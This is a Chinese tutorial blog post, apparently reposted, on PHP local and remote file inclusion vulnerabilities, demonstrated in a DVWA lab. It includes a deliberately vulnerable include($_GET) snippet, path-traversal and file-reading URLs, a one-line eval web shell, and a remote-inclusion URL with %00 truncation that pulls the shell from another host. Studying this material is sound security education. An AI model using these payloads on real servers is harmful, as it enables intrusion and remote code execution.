文件包含漏洞

---恢复内容开始---

文件包含

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。


程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,
但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。


几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,
而在JSP、ASP、程序中却非常少,甚至没有,这是有些语言设计的弊端。


在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

常见的函数

  • PHP

 

include() , include_once() , require_once() , fopen() , readfile() ....

  • jsp/Servlet

ava.io.file() , java.io.filereader() ....

  • asp

include file , include virtual ....

就先列这些把,我们主要以PHP为例子,来讲解文件这个漏洞。

文件包含漏洞,分为本地包含,和远程包含。

本地包含故名思议,就是在网站服务器的本身存在恶意文件,然后本地包含使用。

远程包含,就是调用其他网站的恶意文件进行打开。

下面来先说说,常见PHP包含函数的意思:

include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行 
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
include_once()require_once():若文件中代码已被包含则不会再次包含 

我们主要以第一个为例子,include()这个函数,本地包含。

首先先搭建环境,我先写了一个简单的存在include()这个函数的PHP代码,用 id来当接受值。

例子

dvwa里面就有这样的漏洞环境。当然你也可以自己手动搭建,代码非常的简单:

<?php
$b=$_GET['b'];
include($b);
?>

这里我用dvwa演示。我用ngrok内网穿透,然后从kali里面访问

访问dvwa

文件包含漏洞又分本地包含和远程包含。

本地包含即是包含服务器上的文件,而远程包含则可以包含远程服务器的文件

文件包含展示

这里有个password.txt,里面的内容是

文件包含->

http://11a02102.ngrok.io/dvwa/vulnerabilities/fi/?page=E:\phpstudy\WWW\password.txt

包含phpinfo.php->

http://11a02102.ngrok.io/dvwa/vulnerabilities/fi/?page=E:\phpstudy\WWW\phpinfo.php

相对路径包含

例:E:\phpstuy\www\phpinfo.php

相对路径:\..\..\..\..\..\..\phpstuy\www\phpinfo.php 效果是一样的,在现实的网站中。你有可能不知道物理路径的盘符

而相对路径可以直达目的。

远程文件包含

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

首先得更改位于php.ini文件中906行的allow_url_include = on

重新启动phpstuy

重新启动服务后,在进去DVWA我们可以看到的是已经允许远程文件包含了。

在kali下的/var/www/html中新建一个shell.php写入一句话木马

<?php@eval($_GET['x']);?>

启动apache服务 service apache2 start

远程包含尝试

还有就是说一下%00截断。不过我的php版本已经修复了%00截断这个漏洞

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://192.168.3.21:80/shell.php%00.txt

如果没有修复的话,返回的参数是shell.php

 最后放上一首小歌

 

转载于:https://www.cnblogs.com/haq5201314/p/8728892.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值